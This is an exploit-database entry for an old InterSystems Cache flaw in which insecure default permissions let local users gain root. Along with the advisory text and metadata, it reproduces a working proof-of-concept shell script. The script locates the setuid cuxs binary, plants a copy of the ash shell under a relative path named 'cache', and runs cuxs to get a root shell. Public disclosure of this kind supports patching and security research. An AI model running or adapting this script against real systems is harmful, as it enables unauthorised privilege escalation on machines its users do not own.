Insecure Default Permissions in InterSystems Cache

vendor:

Cache

by:

kokaninATdtors

7.2

CVSS

HIGH

Insecure Default Permissions

264

CWE

Product Name: Cache

Affected Version From: 5.0.2.607.1

Affected Version To: 5.0.2.607.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2003

Insecure Default Permissions in InterSystems Cache

It has been reported that the permissions set by default on the files and directories comprising InterSystems Cache are insecure. The permissions on directories allegedly allow for any user to overwrite any file. This creates many opportunities for local attackers to obtain root privileges. A snippetisnip from an strace of the cuxs binary shows: execve("../bin/cache", ["cache"], [/* 19 vars */]) which is stupid stupid stupid since cuxs is +s. A proof of concept exploit is provided which creates a directory called crapche/bin and copies the ash shell into it, then executes it using the cuxs binary.

Mitigation:

Ensure that all files and directories have appropriate permissions set.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8070/info

It has been reported that the permissions set by default on the files and directories comprising InterSystems Cache are insecure. The permissions on directories allegedly allow for any user to overwrite any file. This creates many opportunities for local attackers to obtain root privileges.

#!/bin/sh
# kokaninATdtors playing with 5.0.2.607.1_linux_su.tar (cache) on leenooks.
# this started as an exploit for scenario1 in
# http://www.idefense.com/advisory/07.01.03.txt, but ended up as something else
# A snippetisnip from an strace of the cuxs binary shows:
# execve("../bin/cache", ["cache"], [/* 19 vars */])
# -------^^^^^^^^^^^^^^------- which is stupid stupid stupid since cuxs is +s

TARGET=`find / -type f -name cuxs -perm -4000 2>/dev/null`
mkdir -p crapche/bin
cd crapche/bin
cp `which ash` cache
$TARGET